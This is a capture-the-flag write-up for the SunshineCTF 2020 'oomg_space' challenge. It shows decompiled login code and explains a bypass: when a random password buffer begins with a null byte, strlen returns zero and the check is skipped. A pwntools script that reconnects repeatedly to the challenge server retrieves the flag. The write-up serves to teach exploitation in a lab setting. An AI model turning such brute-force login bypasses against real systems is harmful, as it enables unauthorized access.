Tags: strlen unintended 

Rating:

oomg_space [350]

The Sunshine Space Center has posted a bug bounty program! Anyone who can bypass the login screen will be rewarded with an all-expenses-paid one-way trip to Mars!

nc chal.2020.sunshinectf.org 20001

Files: oomg_space

In this writeup, I'll be using the unintended solution (that the challenge authors later patched with a new challenge).

Solution

This is the part of the code you need to care about:

char random_49_bytes[50];
bool compare_password(char *rand, char *pass, size_t len) {
    /* code to compare the first `len` bytes of `rand` with `pass` */
}
void puts_no_newline(char *s) { /* code to print a string without adding a newline */ }
void show_flag() { /* code to print the flag */ }

char *init_random_bytes() {
  unsigned int urand = open("/dev/urandom", 0);
  read(urand, random_49_bytes, 49);
  close(urand);
  random_49_bytes[49] = 0;
  return random_49_bytes;
}

bool login() {
  char username[16]; // [rsp-28h] [rbp-28h]
  puts_no_newline("USER\n");
  memset(username, 0, 16); // internally this is just MOVs
  read(0, username, 16);
  if (strcmp(username, "admin")) {
    puts_no_newline("BAD USER ");
    puts_no_newline(username);     // Note that this allows us to leak the location of random_49_bytes
    puts_no_newline("\n");
    return 0;
  }
  puts_no_newline("PASSWORD\n");
  long long passwd_len = 0;
  read(0, &passwd_len, 8);
  passwd_len = byteswapped(passwd_len);
  char *passwd = (char *)malloc_(passwd_len + 1LL); //note that 0xffffffffffffffff+1 == 0
  read(0, passwd, passwd_len);
  passwd[passwd_len] = 0;
  if (compare_passwd(random_49_bytes, passwd, strlen(random_49_bytes))) {
    puts_no_newline("LOGIN FAIL\n");
    exit(1);
  }
  puts_no_newline("LOGIN SUCCESS\n");
  return 1;
}

int main() {
  init_random_bytes();
  puts_no_newline("HELLO\n");
  puts_no_newline("SERVER sunshine.space.center.local\n");
  int password_tries_remaining = 3;
  while (password_tries_remaining-- > 0) {
    if (login()) {
      show_flag();
      usleep(100000);
      return 0;
    }
    puts_no_newline("AGAIN\n");
  }
  puts_no_newline("LOCKOUT\n");
}

The goal is to pass the password check in login() in order to get the flag printed. This is done by a one-shot string comparsion between a user-inputted password against 49 bytes of output from /dev/urandom.

strlen() is used to get the length of random_49_bytes. If strlen(random_49_bytes) happens to be 0, the check with compare_passwd will be immediately bypassed. Since /dev/urandom can provide null bytes (with a 1/256 probability), we'll just dig at the server until we're lucky enough to land in that situation.

from pwn import *
context.binary = 'oomg_space'
for i in range(1000): #Because there is a 1/256 chance that /urandom gives a 0 first byte, this can work
    p = remote('chal.2020.sunshinectf.org', 20001)
    p.sendafter('USER\n', 'admin')
    p.sendafter('PASSWORD\n', pack((1<<64)-1))  # Just use any number that won't crash.
    print(p.recvall())
$ python3.8 oomg_space.py > a.log
$ grep sun{ a.log
b'LOGIN SUCCESS\nFLAG sun{g0tt4_ch3ck_th053_r37urn_c0d35}\n'

It's that simple.

Original writeup (https://github.com/IRS-Cybersec/ctfdump/blob/master/SunshineCTF2020/oomg_space.md).